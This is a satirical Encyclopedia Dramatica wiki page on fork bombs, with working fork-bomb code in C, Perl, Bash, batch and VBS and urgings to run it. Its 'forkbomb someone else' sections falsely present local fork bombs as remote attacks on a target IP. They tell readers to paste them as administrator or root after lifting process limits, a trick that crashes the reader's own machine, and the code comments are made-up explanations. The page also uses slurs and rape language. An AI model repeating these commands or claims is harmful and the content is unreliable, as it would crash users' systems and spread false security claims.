Registration has been disabled and the moderation extension has been turned off.
Contact an admin on Discord or EDF if you want an account. Also fuck bots.

Forkbomb

From Encyclopedia Dramatica
Jump to navigationJump to search

A forkbomb is a program that creates over 9000 copies of itself, thus completely hosing whatever computer it's run on. Forkbombs are commonly discovered by bored Computer Science III students, usually with hilarious results. Forkbombs will completely fuck up a running system, but unless you managed to write it completely wrong, forkbombs don't do any lasting damage.

An example of doing a forkbomb wrong.
OH SHI-


How to forkbomb

C

int main() { while(1) { fork(); } return 0; }

Perl

fork while fork

BASH

:(){ :|:& };:

For Ubuntu, open the menu, go to accessories, hit terminal, and type this. then run away. or stick around.

Batch

%0|%0

or

:s
start %0
%0|%0
goto :s

or

:A
start
goto A

Visual Basic (VBS)

do
DIM objShell
set objShell = wscript.createObject("wscript.shell")
iReturn = objShell.Run("CMD /C loop.vbs", background , True)
loop

How to forkbomb someone else

A little-known backdoor in Windows lets you forkbomb anyone on the Internets who is running Windows with a few simple commands. Go on... you know they're asking for it. DO IT FAGGOT!

How to Break Windows

Here are the commands you need to run:

if not exist REMOTE_IP set /p REMOTE_IP="Target plz? "
:O
%0|%0 %REMOTE_IP%
goto O

Cuntpaste that into Notepad, saving it as nuke.bat. Then double-click nuke.bat. Type the IP address of the poor sucker you're about to destroy, then watch as nuke.bat creates over 9000 processes on said sucker's machine.

Note: For extra lulz, Vista users should run nuke.bat as administrator. Running the scripts as administrator causes your target's machine to die at least 100 times faster.

A Mac is fine too

Don't worry, Mac/Linux fans. Using the built-in connection features of your shell, you can also participate in the e-rape of people you hate. Just cuntpaste these three commands into a terminal:

ulimit -u unlimited       # Remove any limits on sending packets
export REMOTE_IP=0.0.0.0  # Replace 0.0.0.0 with the target IP
_(){_|_&};_ $REMOTE_IP    # Open the connection and commence the rape

Again, for maximum lulz, run the above from a root terminal (try running sudo su before the copypasta).


Did you know?

Forkbombs are one topic covered in Computer Science III, along with DDoSing ping, IP addresses, and other ways of being a 1337 hax0r.

 

Forkbomb is part of a series on Programming.

[2 L337 4 MEEnter the Matrix]

ADAAssemblyCC++COBOLDebugDOSErlangErrorFdiskFortranIntegerJavaLOLCodeMachine CodeMatlabMIRC ScriptMUMPSOpen SourcePerlPHPProgramming languagePythonQBASICRuby on RailsScratchSSHVisual Basic

Hacks

Firefox XPS IRC AttackSafari XPS Attack Sandworm

Programmers

Bill GatesLinus TorvaldsWeevGoatse SecurityTerry DavisTheo de Raadt

Other Topics

Operating systemWarezNotepadIs not a bug, it's a featureDatabase Error

 

Forkbomb is part of a series on

Softwarez

Visit the Softwarez Portal for complete coverage.